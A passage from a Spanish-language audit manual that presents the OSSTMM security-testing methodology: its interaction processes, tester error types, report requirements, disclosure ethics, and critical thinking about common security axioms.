1. Inducción: (Z) el establecimiento de verdades principales sobre el objetivo de las leyes y los hechos ambientales. El analista determina los principios de hecho respecto del objetivo del ataque, del ambiente en el que reside el objetivo. Como objetivo se influenciada por su entorno, su comportamiento será determinable dentro de esta influencia. Donde el destino no está influido por su entorno, existe una anomalía para ser entendido. 2. Indagatoria: (C) la investigación de señales o patrones anómalos de conducta en el destino. El equipo de análisis investigará las señales anómalas y las pistas o indicadores de aquellas señales. Un sistema o proceso por lo general dejar una firma de su existencia a través de la interacción con su entorno. 3. Interacción: (A / B) como pruebas de eco, interacciones estándar y no estándar, con el objetivo de desencadenar respuestas. El analista indagará o agitar tacará al objetivo con el fin de desencadenar respuestas para su análisis. Página 270 de 430

Manual de Auditoria para no Auditores 4. Intervención: (X / Y / Z) cambiar las interacciones de los recursos con el objetivo o entre los objetivos. El analista va a intervenir con los recursos de destino (objetivo/os) requieren de su entorno o de sus interacciones con otros objetivos para entender los extremos en las que podría seguir operando adecuadamente.

El Trío Esta metodología de prueba de seguridad tiene una base sólida que puede parecer un poco complicada, pero en realidad es simple en la práctica. Está diseñada como un diagrama de flujo; Sin embargo, a diferencia del diagrama de flujo estándar, el flujo, representado por las flechas, puede ir hacia atrás, así como hacia adelante. De esta manera, está más integrada con todos los elementos de diseño y pruebas explicitando el principio y el final de cada una de las pruebas efectuadas cuyos resultados se transfieren, a la auditoría tiene mayor flexibilidad. El analista crea un camino único a través de la metodología basada en el objetivo, el tipo de prueba, el tiempo asignado para la auditoría, y los recursos aplicados a la prueba. Para una orquesta, el compositor escribe la partitura para designar el orden y la duración de las notas, pero sólo el conductor puede controlar la ejecución de la actuación. Esta metodología es como la partitura, la designación de las pruebas necesarias, pero los controles de los analistas el orden, la duración, así como la ejecución. La razón principal de que requiera este nivel de flexibilidad en el OSSTMM se debe a que no existe una metodología que pueda presumir con precisión las justificaciones de las operaciones de puertas de enlace de canal en un blanco y su nivel adecuado de seguridad. Más directamente, esta metodología no puede presumir de una mejor la práctica, de llevar a cabo todas las pruebas y sus auditorías, puesto que la mejor práctica se basa en una configuración específica de las operaciones. La mejor práctica es mejor, sólo para algunos; generalmente el iniciador de la práctica. Operaciones dictan cómo deben ofrecerse servicios y los servicios dictan los requisitos para la seguridad operacional. Por lo tanto, una metodología que se invoca de forma diferente para cada auditoría y por cada analista todavía puede tener el mismo resultado final si el Analista completa la metodología. Por esta razón, uno de los fundamentos de la OSSTMM es registrar precisamente lo que no fue probado. Mediante la comparación de lo que se probó y la profundidad de la prueba con otras pruebas, es posible medir la seguridad operativa (OpSec) basándose en los resultados de la prueba. La aplicación de esta metodología será clave, por tanto, cumplir con el objetivo que analista tenga datos suficientes para responder a las tres preguntas siguientes que conforman el Trío, la respuesta a OpSec necesita. 1. ¿Cómo funcionan las operaciones actuales? Los indicadores derivados se pueden aplicar para determinar las áreas de un problema o de un conjunto dentro un alcance. Las métricas en esta metodología están diseñadas para mapear los problemas de diferentes maneras, con el fin de mostrar si el problema, es un problema general o es específico. 2. ¿Cómo funcionan de manera diferente a lo que la gestión piensa que funciona? El acceso a las políticas o un fideicomiso (o incluso Página 271 de 430

Manual de Auditoria para no Auditores un riesgo) evaluación mapear de nuevo a las diferentes categorías de las métricas. Las categorías proporcionan los valores actuales del estado donde una comparación se puede hacer tanto con un estado óptimo de acuerdo con las políticas y uno de acuerdo a las amenazas evaluadas 3. ¿Cómo tienen que trabajar? Cuando las métricas no muestran ningún hueco entre la prueba de seguridad de los valores óptimos de evaluación de políticas o de confianza (o riesgo) sin embargo, muestra que efectivamente existe un problema de protección. Independientemente como se aplica de los controles en la política, esto puede indicar claramente un problema. A menudo, sin ni siquiera la cartografía de la política, una discrepancia entre la práctica controla y la pérdida de la protección es simplemente evidente. ¿Cómo funciona el trio y los cuatro procesos? Una vez visto el complejo de los 4 procesos y vistas las tres cuestiones fundamentales queda por exponer: como se han de combinar de forma efectiva para lograr descubrir aquellos flancos, que presentan nuestros sistemas en cuanto a seguridad se refiere. 1. Recopilar de forma pasiva los datos de las operaciones normales y comprender su flujo de trabajo y rangos de valores normales y habituales. 2. Pruebe activamente operaciones introduciendo variaciones sobre elementos que afectan a los valores normales y habituales más allá de la línea de base. 3. Analizar los datos recibidos directamente de las operaciones probadas. 4. Analizar los datos indirectos de los recursos y los operadores (es decir, los trabajadores, programas). 5. Correlacionar y reconciliar vía análisis los datos obtenidos en (paso 3) y los resultados (paso 4) para determinar la normalidad y calidad de los procesos de seguridad de funcionamiento. 6. Determinar y reconciliar errores. 7. Deducir métricas de ambas operaciones normales y anormales. 8. Correlacionar y reconciliar las diferencias entre las operaciones normal y anormales (2 pasos 1 y) para determinar el nivel óptimo de protección y control que mejor ser implementado. 9. Mapa el estado óptimo de las operaciones (paso 8) para procesos (paso 5). 10. Crear un análisis de las deficiencias para determinar qué mejoras son necesarias para los procesos que rigen la protección y los controles necesarios (etapa 5) para lograr un óptimo estado de funcionamiento (paso 8) a partir de la actual.

Página 272 de 430

Manual de Auditoria para no Auditores

Manejo de Errores y Tipos de Apreciación. La veracidad en una prueba de seguridad no está en la suma de sus errores, sino más bien en la contabilización de sus errores. Ya que los errores pueden no ser culpa del analista, la comprensión de cómo y dónde pueden existir errores dentro de una prueba es mucho más razonable que esperar que un analista logre probar sin error. Por otra parte, es el analista quien intenta, lo que no debería ser posible, dado que es más que probable que se produzcan errores; Por lo tanto, lo que denota errores como algo negativo descarta la práctica de pruebas exhaustivas. De ahí la necesidad de prestar atención tanto al Manejo de Errores auténticos como de Apreciaciones incorrectas. Tipo de Error

Falso Positivo

Falso Negativo

Descripción del Error Algo determinado como verdadera es falso. La respuesta de destino indica un estado particular como verdad, aunque en realidad el estado no es cierto. Un falso positivo se produce a menudo cuando las expectativas del analista o suposiciones de lo que indica un estado particular no se sostienen a las condiciones del mundo real que son raramente blanco y negro. Algo determinado como falso es en realidad verdadero. La respuesta de destino indica un estado particular en que no es cierto, aunque en realidad el estado es cierto. Un falso negativo se produce a menudo cuando las expectativas del analista o suposiciones acerca de la meta no se sostienen a las condiciones del mundo real, las herramientas pueden no ser las adecuadas para la prueba, las herramientas pueden ser mal utilizados, o mal interpretados sus resultados o el analista carece de experiencia. Un falso negativo puede ser peligroso ya que es un mal diagnóstico de un estado seguro cuando no existe. Página 273 de 430

Manual de Auditoria para no Auditores

Gris positivo

Gris negativo

Espectro Fantasma

Indiscreción

Error Entropía

Falsificación

Error Tamaño Muestra Prueba

Algo responde verdadero a todo, incluso si es falso. La respuesta de destino indica un estado particular como verdadero, sin embargo, el objetivo está diseñado para responder a cualquier causa con este estado sea verdad o no. Este tipo de seguridad por oscuridad puede ser peligroso, ya que la ilusión no se puede garantizar que funcione de la misma manera para todos los estímulos Algo responde falsa a todo, incluso si es cierto. La respuesta de destino indica un estado particular en lo que no es cierto, sin embargo, el objetivo está diseñado para responder a cualquier causa con este estado si sea verdad o no. Este tipo de seguridad por oscuridad puede ser peligroso, ya que la ilusión no se puede garantizar que funcione de la misma para todos los estímulos Algo responde verdadero o falso, pero el estado real se revela como desconocido. La respuesta de destino indica un estado particular como verdadera o falsa, aunque en realidad el estado no puede ser conocido. Un espectro a menudo se produce cuando el analista recibe una respuesta de un estímulo externo que se percibe como del objetivo. Un espectro puede ser intencional, una anomalía desde dentro del canal, o el resultado de descuido o falta de experiencia del analista. Uno de los problemas más comunes se da en el proceso de eco dado que el supuesto de que la respuesta es el resultado de la prueba. causa y pruebas de efecto en el mundo real no puede lograr resultados fiables ya que ni la causa ni el efecto se pueden aislar correctamente Algo responde dependiendo verdadero o falso cuando se le preguntó. La respuesta de destino indica un estado particular como verdadera o falsa, pero sólo durante un tiempo determinado, que puede o no puede seguir un patrón. Si la respuesta no puede ser verificada en un momento cuando los cambios de estado, que pueden impedir que el analista de comprender el otro estado. Un analista también puede determinar que esto es una anomalía o un problema con equipos de pruebas, especialmente si el analista no pudo calibrar el equipo antes de la prueba o llevar a cabo la logística y controles apropiados. Una indiscreción puede ser peligroso ya que puede conducir a una falsa presentación de informes del estado de la seguridad. La respuesta se pierde o se confunde en el ruido de la señal. La respuesta objetivo no puede indicar con precisión un estado particular como verdadera o falsa debido a un alto ruido de señal de relación. Similar a la idea de perder una linterna haz de la luz del sol, el analista no puede determinar adecuadamente estado hasta que se reduce el ruido. Este tipo de error con el medio ambiente causado raramente existe en un laboratorio, sin embargo, se trata de un comportamiento normal en un entorno no controlado. La entropía puede ser peligrosa, si sus efectos no pueden ser contrarrestados. La respuesta cambia dependiendo de cómo y dónde se hace la pregunta. La respuesta de destino indica un estado particular como verdadera o falsa, aunque en realidad el estado depende de las variables en gran parte desconocidos debido a orientar sesgo. Este tipo de seguridad por oscuridad puede ser peligrosa, como el sesgo se desplazará cuando los exámenes provienen de diferentes vectores o emplear diferentes técnicas. También es probable que el objetivo no es consciente de la parcialidad. La respuesta no puede representar a la totalidad porque el alcance ha sido alterado. El objetivo es una muestra sesgada de un sistema más grande o un mayor número de estados posibles. Este error se produce normalmente cuando una autoridad influye en el estado de funcionamiento del Página 274 de 430

Manual de Auditoria para no Auditores

Error por Restricciones de algún tipo o clase o por imperativos no previstos

Error propagación

Error Humano

objetivo para la duración de la prueba. Esto puede ser a través de las limitaciones de tiempo específicos en la prueba o un sesgo de probar sólo componentes designado como “importante” dentro de un sistema. Este tipo de error provocará una distorsión de la seguridad operacional general La respuesta cambia en función de las limitaciones de las herramientas utilizadas. Las limitaciones de los sentidos humanos o capacidades del equipo indican un estado particular como verdadera o falsa, aunque el estado actual es desconocido. Este error no es causado por la falta de criterio o decisiones equivocadas equipo es más bien una falta de reconocimiento de las restricciones o limitaciones impuestas La respuesta se presume que es de un estado u otro, aunque no se hizo ninguna prueba. El analista no hacer una prueba en particular o tiene una tendencia a ignorar un resultado particular debido a un presunto resultado. Esto es a menudo un cegamiento de la experiencia o un sesgo de confirmación. La prueba puede repetirse muchas veces, o las herramientas y el equipo puede ser modificado para tener el resultado deseado. Como su nombre indica, un proceso que no recibe retroalimentación donde los errores siguen siendo desconocidos o ignorados se propagará más errores como la prueba continúa. los errores de propagación pueden ser peligrosas debido a que los errores propagados desde primera hora de la prueba pueden no ser visibles durante un análisis de las conclusiones. Además, se requiere un estudio de todo el proceso de pruebas para descubrir el error de propagación La respuesta cambia dependiendo de la habilidad del analista. Un error causado por la falta de capacidad, experiencia o comprensión no es un sesgo y siempre es un factor que está presente, independientemente de la metodología o técnica. Mientras un analista experimentado puede hacer que los errores de propagación, uno sin experiencia es más probable que no reconoce el error humano, algo que la experiencia enseña a reconocer y compensar. Estadísticamente, hay una relación indirecta entre la experiencia y el error humano. Cuanta menos experiencia un analista tiene, mayor es la cantidad de error humano que una auditoría puede contener.

Un analista puede realizar un seguimiento de la cantidad y la gravedad de los errores de operación de la prueba. Una autoevaluación simple puede crear un margen de errores de operación causados durante la prueba que el analista puede usar para enmarcar la exhaustividad de la auditoría actual u otras auditorías de sistemas similares. Puesto que se trata de una autoevaluación, tendrán tendencia a ser sesgada. El analista debe tener gran cuidado para que sea tan irrefutable como sea posible. Como una forma de garantía de calidad de la prueba y el proceso de prueba. Aunque algunos pueden tratar de descartar los errores de prueba que estaban generados por el propio analista, el seguimiento de todos los errores sólo puede mejorar las pruebas futuras y no es algo que hay que ocultar. Los errores sucederán y no son más que el intento del analista de interactuar con un sistema siempre cambiante.

Página 275 de 430

Manual de Auditoria para no Auditores Independientemente del número y la gravedad de los errores, el seguimiento de los errores de prueba servirá como un registro de la dificultad y complejidad de la auditoría y la competencia del analista para deducir los errores.

Un registro de errores de prueba del alcance también ayudará a resumir el entorno de una manera simplista. Es una reducción directa del Resumen Ejecutivo que a menudo describe la opinión del Analista sobre el estado de seguridad en el que pocos o ningún error mostrará un objetivo y un ambiente bastante estáticos. Muchos errores muestran un ambiente caótico y uno que puede carecer de controles para gestionar el cambio o la pérdida. En general, los registros de error de prueba son útiles para comprender la complejidad de la auditoría y el control de cambios entre auditorías de intervalos regulares. Resultados de la prueba. Los resultados de las pruebas suelen ir acompañados de soluciones recomendadas o de ofertas de consultoría, ninguna de las cuales se requiere en una auditoría OSSTMM. Las soluciones recomendadas pueden proporcionarse como un valor agregado a una prueba de seguridad, pero no se consideran obligatorias. A menudo no hay soluciones adecuadas basadas en la visión limitada que un analista tiene del entorno del cliente. Por lo tanto, las soluciones no son necesarias como parte de una auditoría OSSTMM. Frecuentemente, una prueba superará los límites de un control de seguridad. Dentro de un compromiso, el Analista siempre debe reportar el estado actual de la seguridad, cualquier limitación dentro de ese estado actual y cualquiera de los procesos que causaron esas limitaciones de los controles y protecciones aplicados. Para medir tanto la rigurosidad de la prueba como la seguridad del objetivo, el uso de esta metodología debe concluir con el Informe de Auditoría de Pruebas de Seguridad (STAR) disponible en este manual o en el sitio web de ISECOM. STAR requiere la siguiente información: 1. Fecha y hora de la prueba. 2. Duración de la prueba. 3. Nombres de los analistas responsables. 4. Tipo de prueba. 5. Alcance de la prueba. 6. Índice (método de enumeración objetivo). 7. Canal de prueba. 8. Vector de prueba. 9. Métrica de superficie de ataque. Página 276 de 430

Manual de Auditoria para no Auditores 10. ¿Qué pruebas se han completado, no completado o completado parcialmente, y en qué medida? 11. Cualquier cuestión relativa a la prueba y la validez de los resultados. 12. Cualquier proceso que influya en las limitaciones de seguridad. 13. Cualquier proceso desconocido o anomalía. El uso exitoso del OSSTMM muestra una medición real de la seguridad y de los controles aplicados. La falsa presentación de los resultados en informes puede conducir a una verificación fraudulenta de los controles de seguridad y un nivel de seguridad inexacto. Para ello, el analista debe aceptar responsabilidad y responsabilidad limitada por informes inexactos. Aspectos legales y éticos del análisis de Seguridad Contratos Modelo Condiciones generales que deben reflejarse antes iniciarse el análisis. Divulgación Durante una prueba de seguridad, la aparición de limitaciones de seguridad previamente desconocidas o no publicitadas puede salir a la luz. Lo que un analista hace con estos hallazgos debe quedar sujeto a las regulaciones legales de la zona y país donde se está realizando el trabajo. Derechos de Divulgación Lo que sí tiene que hacer es asegurarse de que su acceso y uso del producto o solución no implica un Contrato de Licencia de Usuario Final (EULA) que le niega el derecho a reclamar para las siguientes acciones anunciar o distribuir cualquier vulnerabilidad descubierta. Si lo hizo y usted o el cliente aceptó este contrato, entonces no se puede revelar a nadie, tal vez incluso el fabricante, sin repercusiones legales potenciales. Además, si usted trabaja para la empresa que fabrica ese producto o es un cliente legal de ellos, entonces usted puede no debe de divulgar legalmente cualquier hallazgo de tipo. Además, sus derechos en cualquier caso pueden ser impugnados de acuerdo con el proceso de la ley en su región en lugar de precedentes legales existentes. Responsabilidades. Sin embargo, en esos casos no se aplican, entonces efectivamente poseen esa vulnerabilidad y cuanto antes lo hagas público, más derechos tienes como descubridor de la misma. En muchos países, los procesos y la información pueden ser protegidos por la ley y, a menudo, el proceso legal requiere la publicación o la presentación legal de los mismos. Si su divulgación no puede causar daño FÍSICO (como gritar el fuego en un cine lleno de gente), es suyo y no hay necesidad de una postura legal que lo refrende cuando tiene razón. Sin embargo, para ser más seguro, también debe promover, con la vulnerabilidad descrita, los controles que se pueden aplicar para solucionar el problema. Por ejemplo, si se trata de un problema con la forma en que uno se autentica con una solución, sugiera un esquema de autenticación alternativo y cómo se puede Página 277 de 430

Manual de Auditoria para no Auditores integrar con éxito. No es necesario esperar a que el fabricante publique una corrección o una actualización para que la gente solucione el problema. Sin embargo, si usted elige trabajar dentro del contexto de notificar al fabricante, usted necesitará darles bastante tiempo de tratar el problema antes de hacerlo público. Hay un argumento válido de que la vulnerabilidad puede ser ya conocida en los círculos criminales y necesita atención inmediata. Por lo tanto, si usted decide publicar sin la ayuda del fabricante, tenga en cuenta que la inclusión de una corrección también mostrará legalmente que tenía buenas intenciones y gran parte del sistema legal se centra en la intención implícita. Su elección depende de si los juicios frívolos son aceptados o prevalentes en su región. Recuerde, no es usted el analista que está obligado a hacer las pruebas de garantía de calidad para el fabricante, por lo tanto, usted no les debe ninguna información del trabajo que ha hecho, incluso si incluye su producto. La revelación completa es útil siempre y cuando no pueda causar daño físico o humano. Además, los consumidores no deberían tener que esperar a que las actualizaciones del fabricante para que sus productos sean seguros. Si el producto no se vende como una solución específica de seguridad, entonces es a los consumidores a quien les compete hacerla segura o no utilizarla. Si se vende como segura y esto se verifica entonces es el fabricante quien está obligado a arreglarlo, sin embargo, el consumidor no puede querer esperar hasta que el fabricante puede hacerlo. La divulgación completa permite esta elección. Análisis de seguridad El análisis de seguridad aquí se refiere a la habilidad para convertir información en inteligencia de seguridad. Esto requiere entender más que sólo la información, pero también de dónde proviene, cómo y cuándo se recopiló y las limitaciones del proceso de recolección. La parte final del proceso de análisis es crear inteligencia accionable, información derivada del hecho que se puede utilizar para tomar decisiones. Esta es la clara distinción entre seguridad y análisis de riesgos. En el análisis de seguridad, se producen hechos incluso si ese hecho indica que algo no se puede saber de la información proporcionada. En el análisis de riesgo, especulan y derivan opiniones basadas en información. Análisis de riesgo puede utilizar análisis de seguridad para llegar a mejores y más precisas respuestas sin embargo el análisis de seguridad no puede utilizar el análisis de riesgos para mejorar la precisión. Por esta razón, recomendamos el análisis de confianza. La diferencia fundamental entre hacer un análisis de riesgo frente a un análisis de seguridad es que en el análisis de seguridad nunca se analiza la amenaza. Esto se debe a que suponiendo que saben qué amenazas existen, cuándo pueden afectar, cómo vendrán y dónde irán, es algo reservado para el análisis de riesgo. Página 278 de 430

Manual de Auditoria para no Auditores En el análisis de seguridad, se estudia y se mide la superficie de ataque de y alrededor de un objetivo. Esto le permitirá entonces entender donde las amenazas, cualquier amenaza, puede atacar si atacan. Por ejemplo, considere una pared larga y alta. El análisis de riesgo considerará lo que puede pasar a través de la pared, pero el análisis de seguridad, se centrará en dónde están las grietas, si la pared es sólida y si la pared es gruesa o lo suficientemente alta como para impedir que acceda al otro lado y llegue y responda. el ataque. Un análisis de seguridad también le permitirá asegurar que los controles correctos existen, trabajan de la manera que deberían, y cubren adecuadamente los puntos interactivos de los diversos vectores y canales accesibles. Pensamiento crítico de la seguridad El pensamiento crítico de la seguridad según lo utilizado aquí, es un término para la práctica de usar lógica y los hechos para formar una idea sobre la seguridad. Esa idea puede ser una respuesta, una conclusión o una caracterización de algo o alguien para que las pruebas de verificación puedan estar bien definidas. Como respuesta o conclusión, el pensamiento crítico de seguridad proporcionará aquello que tiene más sentido. Como una caracterización, le mostrará lo que necesita verificar, de acuerdo a lo que necesita verificar, de acuerdo a qué vector, cómo y cuáles serán los objetivos. También le ayudará a analizar diferentes opiniones o puntos de vista más allá de la seguridad misma a la interconexión que la seguridad hace con las personas, los lugares, los procesos y el dinero. Le ayudará a abordar conclusiones contradictorias y explorar las consecuencias alternativas. Así que incluso si el modelo de pensamiento crítico de seguridad no puede proporcionar una respuesta, debería decirle qué hechos siguen sin aclararse y como recrearlos. El proceso de pensamiento crítico de seguridad depende de que el analista pueda discernir afirmaciones verdaderas o al menos reconocer el grado de posible falsedad o propiedades dinámicas en un enunciado. Una forma de hacerlo es reconocer la cantidad de confianza que puede tener en un hecho a través del uso de métricas de confianza. Otra forma es poder deconstruir una afirmación, separando argumentos falaces. En la práctica, un analista tendrá que hacer ambas cosas. El analista necesitará tener una buena comprensión de lo que está siendo analizado y una buena comprensión de las falacias lógicas, usadas para hacer calificadores, declaraciones basadas en conceptos falaces, usualmente en forma de axiomas o mejores prácticas. La técnica de análisis de los seis pasos Lamentablemente, el mundo no es prescriptivo. No todas las preguntas tienen una respuesta correcta. La corrección de una respuesta depende de muchas cosas incluyendo, lo más importante, cómo se pregunta. Página 279 de 430

Manual de Auditoria para no Auditores Este es un problema que afecta a todas las industrias, pero ninguna tan obviamente como la seguridad, por lo que el pensamiento de seguridad crítica es tan importante. Como técnica de análisis se puede reducir a 6 pasos simples para determinar los resultados fácticos con un alto nivel de confianza para la corrección, incluso cuando las soluciones no son lineales como cuando no hay conexión desde el punto A al punto B. Por lo tanto, la capacidad de validar las fuentes y La confianza de la medida es crucial para hacer la inteligencia accionable apropiada fuera de pruebas. En estos pasos, "objetivo" se refiere a lo que esté analizando en la preparación de una prueba, ya se trate de personas, computadoras, edificios o procesos. Los 6 pasos en cuestión son los siguientes: 1. Construir su conocimiento a partir varias fuentes evitando al mismo tiempo la información comercialmente sesgada y especulativa. 2. Determinar el nivel global de experiencia para el tipo de objetivo y la cantidad de información posiblemente conocida al respecto. 3. Determinar cualquier sesgo o motivos ocultos en las fuentes de información. 4. Traducir jerga de fuentes de información a palabras similares o conocidas para la comparación porque lo que puede sonar nuevo o complicado, puede ser sólo un truco para diferenciar algo común. 5. Asegúrese de que el equipo de prueba ha sido calibrado correctamente y el ambiente de prueba verificado, para asegurar que los resultados, no están contaminados por la prueba misma. 6. Asegurar que el estado de traducción de las herramientas o de los procesos de prueba ha sido tan alterado como sea posible para que los resultados no provengan de las fuentes indirectas en un proceso o el pre análisis de algunas herramientas. Lo que es más importante entender aquí es cuando se hace una caracterización no se preocupe, por estar en lo correcto. Es más importante tener razón sobre estar equivocado o estar en lo correcto, lo que significa que se realizaron las pruebas correctas para verificar la caracterización. Entonces, si la caracterización es errónea, por lo menos sabemos con certeza que está mal y puede volver a caracterizar. Así es como funciona el método científico. No se trata de creer o confiar en su experiencia, no importa cuán grande, pero en conocer los hechos que podemos construir.

Página 280 de 430

Manual de Auditoria para no Auditores Falacias como calificadoras. Un problema adicional de la humanización de la prueba es que se aproxima más a una forma de arte en lugar de tratarse como una ciencia que dado que introduce todo tipo de nuevos errores. Entender nuestras propias limitaciones como seres humanos y cómo pensamos influye en cómo la seguridad puede ser percibida y definida. Esto lleva a muchos profesionales de la seguridad a ofrecer calificativos para lo que no entienden o no pueden ofrecer. La mayoría de las veces a pesar de que sólo se repiten como axiomas, sin más reflexión, finalmente aceptado como verdades de seguridad. Esto daña aún más nuestra capacidad de proporcionar una seguridad adecuada, porque nuestro análisis se ve pervertido por frases hechas y las mejores prácticas que pueden no tener ninguna base de hecho ahora o nunca. Por ejemplo, algunos axiomas comunes todavía en uso parecerán mucho menos como reglas de oro y más como excusas cuando están puestos a la luz de la razón crítica de la seguridad. Estos axiomas son tan comunes porque hay una incapacidad general para pensar críticamente, sobre la seguridad o separarla del riesgo como concepto. La seguridad no se trata de riesgo. Se trata de la protección y los controles. El riesgo es sobre el riesgo. El riesgo es especulado, inventado, derivado y correlacionado. El riesgo también es subjetivo. La seguridad no debe ser subjetiva nunca para entender mejor cómo estos calificativos que manchan nuestra capacidad de hacer un buen análisis de seguridad, podemos examinar las falacias en los calificadores comunes. 1. No hay tal cosa como el 100% seguro. La sentencia no proporciona condiciones tales como el tiempo y la métrica para la cual se pueden usar porcentajes como escala. Como una declaración de riesgo, podría ser cierto - "No hay tal cosa como estar siempre 100% libre de riesgo." Porque bajo la definición de riesgo, incluso nuestros propios cuerpos están sujetos a tiempo y lesiones auto infligidas. Sin embargo, como una declaración de seguridad puede tener demasiadas excepciones para ser verdad. 2. Incluso si usted está seguro, si un atacante quiere un objetivo y es lo bastante dañino para obtener lo que busca. La declaración no proporciona la condición de tiempo, para cualquier atacante humano sería finito, e incluye una forma de equivocación falacia que califica El deseo del atacante. Por lo tanto, si ningún atacante ha entrado entonces aparentemente no sería lo suficiente dañino para lograrlo. Además, la declaración hace un uso de la frase "entrar" demasiado ampliamente para que la idea esté ganando entrada, pero podría aplicarse más a cualquier número de potenciales ataques dañinos. Página 281 de 430

Manual de Auditoria para no Auditores 3. No hay seguridad perfecta. La afirmación no proporciona la condición de tiempo que implica que el axioma significa "siempre" que es en sí mismo un absoluto y difícil de probar. Esta breve declaración también cae en las categorías de dos falacias lógicas, la falacia del Nirvana y la falacia de la Solución Perfecta. En la falacia del Nirvana, estamos equivocados al rechazar algo porque no puede ser perfecto. Sin embargo, puede ser lo suficientemente bueno para las necesidades de uno. En la falacia de la solución perfecta, el argumento supone que existe una solución perfecta. Esta suposición es fácil de argumentar en términos de productos para aquellos que sólo entienden conceptos de seguridad en términos de productos. En realidad, "perfecto" es un concepto subjetivo y lo que no puede ser perfecto para una persona puede ser perfecto para otro. En el contexto de este manual, "perfecto" significa una ecuación perfectamente equilibrada al calcular la superficie de ataque que consiste en OpSec y Limitaciones contra Controles. 4. La seguridad es un proceso no un producto. Si bien esta declaración tiene por objeto informar a los que piensan en la seguridad en términos de productos, este eslogan en realidad utiliza las falacias de Falso Dilema y Presunción para persuadir. Como un falso dilema, afirma que hay sólo dos opciones, un producto y un proceso y por lo tanto la seguridad debe ser uno u otro. Como Presunción, la conclusión de la declaración ya se presume como un proceso que es el medio para la seguridad. Juntas, estas falacias no permiten que los productos y procesos se combinen en la formación de la seguridad ni tampoco permiten otra cosa totalmente diferente. En realidad, la definición pública de seguridad está mal definida y no es realmente alcanzable, que es la razón probable de todos estos axiomas en primer lugar. Esto deja espacio para muchas interpretaciones de lo que puede ser la seguridad y la razón principal por la cual el analista debe comprometerse a una definición de seguridad alcanzable y mensurable. Afirmar entonces que la seguridad es una cosa u otra es falsa, especialmente cuando la seguridad misma no está definida y se presta a interpretaciones de diccionario estándar. También es por eso que este manual define claramente la seguridad como algo medible. Se requiere que un analista aplique habilidades de pensamiento crítico de seguridad a la información tal como se proporciona, así como a las declaraciones que se hacen sobre la información analizada para formar inteligencia factual. La inteligencia creada de tal manera proporcionará métricas precisas e imparciales, así como una clara comprensión de cómo la seguridad es deficiente sin la necesidad de calificadores.

Página 282 de 430

Manual de Auditoria para no Auditores Reconocer el modelo OpSec Hay dos problemas con el análisis de seguridad en el uso práctico en las operaciones. La primera es que la tecnología a menudo está muy por delante de la capacidad de cada analista para entender cómo funciona todo, si este knowhow es incluso posible obtener bajo el actual estado de caja cerrada de la mayoría de los productos de tecnología comercial. El segundo problema es que, irónicamente, la deconstrucción de cómo funciona algo, incluyendo los procesos de negocio, puede ser ilegal para proteger el riesgo financiero y la privacidad del fabricante del comprador, aunque como usuario del producto, el comprador puede realmente necesitar Esa información para protegerse de las amenazas reales que probablemente no son sus clientes. Sin embargo, incluso en los casos en que una tecnología o proceso no puede analizarse directamente, el producto puede analizarse dentro del entorno con el que interactúa. Para cada vector y canal que se analiza, el analista pondrá una superposición del modelo OpSec sobre los objetivos. Aplicar el modelo OpSec es simplemente contar los controles para cada punto interactivo, así como el descubrimiento de la oportunidad en forma de Visibilidad. Cuando un objetivo es desconocido como un cuadro negro que no se puede abrir, el analista debe abordar los controles sobre las interacciones del sistema en su entorno. El proceso se verá así: 1. ¿Qué es visible en el ámbito de aplicación? ¿Cuál es el valor posible que se conoce? ¿Qué objetivos se pueden determinar? 2. ¿Cuáles son los puntos de acceso interactivos a esos objetivos y de qué vector o canal? 3. ¿Cuáles son los Fideicomisos dentro del alcance y sobre qué vector o canal? 4. ¿Cuáles son los controles para esos Accesos y Fideicomisos? 5. ¿Los controles están completos o tienen limitaciones? Esto le dirá el tamaño de la superficie de ataque y qué puntos interactivos están abiertos sin controles para gobernarlos. Buscar coincidencia de patrones como un signo de errores. Si empieza por buscar exactamente lo que busca, entonces sólo puede encontrar lo que espera encontrar. Esto es adecuado cuando se busca calcetines a juego, pero no tan bueno cuando se mira el cuadro grande de una superficie de ataque. Es el mayor problema conocido como la correspondencia de patrones, el rasgo humano de saltarse los pasos, a veces sin saberlo, que se consideran innecesarios debido a un resultado "obvio". También hace que la gente vea la causa y el efecto donde no puede haber ninguno. Es un punto ciego que los analistas desarrollarán después de años de Página 283 de 430

Manual de Auditoria para no Auditores hacer tareas iniciales, básicas o redundantes. Estas tareas se hacen más eficientes a través de atajos que afectan la calidad de las pruebas de verificación y, en última instancia, el análisis. Para la inteligencia accionable, un resultado es tan bueno como los métodos utilizados para obtenerlos. No saber cómo obtuvo un resultado en particular limitará severamente la acción que puede tomar para solucionarlo. Cuando un analista utiliza coincidencia de patrones para omitir pasos, no se puede conocer correctamente el método. Sin embargo, el deseo de "cortar la caza" para llegar a la carne de un problema, mientras que la presunción de un estado que es realmente desconocido, es un problema en muchas áreas de la ciencia. La seguridad no es una excepción. Por lo tanto, un analista debe reconocer cuando las pruebas se han saltado o los datos falsificados para proporcionar resultados no verificados o que no pueden repetirse obteniendo el mismo resultado una y otra vez, incluso bajo condiciones idénticas. Para detectar la coincidencia de patrones, examine los métodos de prueba y los datos de resultado para lo siguiente: 1. Pruebas con amenazas específicas, en lugar de una interacción completa, con la superficie de ataque. 2. La falta de detalles sobre los procesos resultantes detrás de las interacciones con el objetivo. 3. Poca o ninguna información acerca de los controles para varios objetivos. 4. Sólo algunas de las metas se reportan para ciertas pruebas y las que tienen resultados completamente negativos. 5. Objetivos no probados por razones anecdóticas (notas donde una persona ha dicho que no hay nada allí para probar o se ha asegurado). 6. Pruebas de objetivos que obviamente no se han asegurado Caracterizar los resultados. El método científico no es una lista de verificación. Es un proceso que permite inteligencia e imaginación. Se hace una hipótesis y luego se recopilan datos mediante pruebas y observaciones para evaluar esa hipótesis. En una prueba de seguridad, una hipótesis se hace esencialmente siempre que una verificación se hace frente a un punto interactivo directo o indirecto en el alcance. El analista tiene los datos empíricos de esas pruebas y debe considerar si las pruebas realmente verificaron la hipótesis. ¿Se hicieron las pruebas correctas? ¿Se hicieron suficientes pruebas? ¿Se probaron los canales o vectores adecuados? ¿Se crearon nuevas interacciones que también fueron probadas? Para ello, caracterizamos los resultados.

Página 284 de 430

